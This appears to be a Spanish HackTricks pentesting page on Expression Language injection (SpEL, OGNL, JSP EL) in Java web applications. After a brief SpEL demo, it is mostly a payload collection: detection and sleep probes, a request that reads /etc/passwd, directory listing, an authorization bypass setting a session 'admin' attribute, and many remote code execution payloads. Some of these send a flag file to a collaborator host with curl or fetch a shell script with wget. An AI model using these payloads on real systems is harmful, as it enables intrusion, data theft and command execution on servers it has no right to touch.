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219 lines
12 KiB
Markdown
219 lines
12 KiB
Markdown
# EL - Lenguaje de Expresión
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{{#include ../../banners/hacktricks-training.md}}
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## Información Básica
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El Lenguaje de Expresión (EL) es integral en JavaEE para conectar la capa de presentación (por ejemplo, páginas web) y la lógica de aplicación (por ejemplo, beans gestionados), permitiendo su interacción. Se utiliza predominantemente en:
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- **JavaServer Faces (JSF)**: Para vincular componentes de UI a datos/acciones de backend.
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- **JavaServer Pages (JSP)**: Para acceso y manipulación de datos dentro de páginas JSP.
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- **Inyección de Contextos y Dependencias para Java EE (CDI)**: Para facilitar la interacción de la capa web con beans gestionados.
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**Contextos de Uso**:
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- **Spring Framework**: Aplicado en varios módulos como Seguridad y Datos.
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- **Uso General**: A través de la API SpEL por desarrolladores en lenguajes basados en JVM como Java, Kotlin y Scala.
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EL está presente en tecnologías JavaEE, entornos independientes, y es reconocible a través de extensiones de archivo `.jsp` o `.jsf`, errores de pila y términos como "Servlet" en encabezados. Sin embargo, sus características y el uso de ciertos caracteres pueden depender de la versión.
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> [!NOTE]
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> Dependiendo de la **versión de EL**, algunas **características** pueden estar **activadas** o **desactivadas** y generalmente algunos **caracteres** pueden estar **prohibidos**.
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## Ejemplo Básico
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(Puedes encontrar otro tutorial interesante sobre EL en [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))
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Descarga del repositorio [**Maven**](https://mvnrepository.com) los archivos jar:
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- `commons-lang3-3.9.jar`
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- `spring-core-5.2.1.RELEASE.jar`
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- `commons-logging-1.2.jar`
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- `spring-expression-5.2.1.RELEASE.jar`
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Y crea el siguiente archivo `Main.java`:
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```java
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import org.springframework.expression.Expression;
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import org.springframework.expression.ExpressionParser;
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import org.springframework.expression.spel.standard.SpelExpressionParser;
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public class Main {
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public static ExpressionParser PARSER;
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public static void main(String[] args) throws Exception {
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PARSER = new SpelExpressionParser();
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System.out.println("Enter a String to evaluate:");
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java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
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String input = stdin.readLine();
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Expression exp = PARSER.parseExpression(input);
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String result = exp.getValue().toString();
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System.out.println(result);
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}
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}
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```
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A continuación, compila el código (si no tienes `javac` instalado, instala `sudo apt install default-jdk`):
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```java
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javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
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```
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Ejecuta la aplicación con:
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```java
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java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
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Enter a String to evaluate:
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{5*5}
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[25]
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```
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Nota cómo en el ejemplo anterior el término `{5*5}` fue **evaluado**.
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## **Tutorial basado en CVE**
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Revísalo en **esta publicación:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
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## Payloads
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### Acciones básicas
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```bash
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#Basic string operations examples
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{"a".toString()}
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[a]
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{"dfd".replace("d","x")}
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[xfx]
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#Access to the String class
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{"".getClass()}
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[class java.lang.String]
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#Access ro the String class bypassing "getClass"
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#{""["class"]}
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#Access to arbitrary class
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{"".getClass().forName("java.util.Date")}
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[class java.util.Date]
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#List methods of a class
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{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
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[public boolean java.util.Date.equals(java.lang.Object)]
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```
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### Detección
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- Detección de Burp
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```bash
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gk6q${"zkz".toString().replace("k", "x")}doap2
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#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
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```
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- Detección de J2EE
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```bash
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#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
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https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
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```
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- Dormir 10 segundos
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```bash
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#Blind detection vector (sleep during 10 seconds)
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
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```
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### Inclusión de Archivos Remotos
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
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```
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### Listado de Directorios
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
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```
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### RCE
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- Explicación básica de RCE **explanation**
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```bash
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#Check the method getRuntime is there
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{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
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[public static java.lang.Runtime java.lang.Runtime.getRuntime()]
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#Execute command (you won't see the command output in the console)
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{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
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[Process[pid=10892, exitValue=0]]
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#Execute command bypassing "getClass"
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#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}
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# With HTMl entities injection inside the template
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<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
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```
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- RCE **linux**
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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- RCE **Windows** (no probado)
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```bash
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https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
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```
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- **Más RCE**
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```java
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// Common RCE payloads
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''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
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''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()
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// Method using Runtime via getDeclaredConstructors
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#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
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#{session.getAttribute("rtc").setAccessible(true)}
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#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}
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// Method using processbuilder
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${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
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${request.getAttribute("c").add("cmd.exe")}
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${request.getAttribute("c").add("/k")}
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${request.getAttribute("c").add("ping x.x.x.x")}
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${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
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${request.getAttribute("a")}
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// Method using Reflection & Invoke
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${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}
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// Method using ScriptEngineManager one-liner
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${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}
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// Method using ScriptEngineManager
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{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
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${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");
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//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
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(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
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T(java.lang.System).getenv()[0]
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T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
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T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
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''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
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```
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### Inspeccionando el entorno
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- `applicationScope` - variables globales de la aplicación
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- `requestScope` - variables de solicitud
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- `initParam` - variables de inicialización de la aplicación
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- `sessionScope` - variables de sesión
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- `param.X` - valor del parámetro donde X es el nombre de un parámetro http
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Necesitarás convertir estas variables a String como:
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```bash
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${sessionScope.toString()}
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```
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#### Ejemplo de elusión de autorización
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```bash
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${pageContext.request.getSession().setAttribute("admin", true)}
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```
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La aplicación también puede usar variables personalizadas como:
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```bash
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${user}
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${password}
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${employee.FirstName}
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```
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## Bypass de WAF
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Consulta [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
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## Referencias
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- [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
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- [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
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- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
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- [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
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{{#include ../../banners/hacktricks-training.md}}
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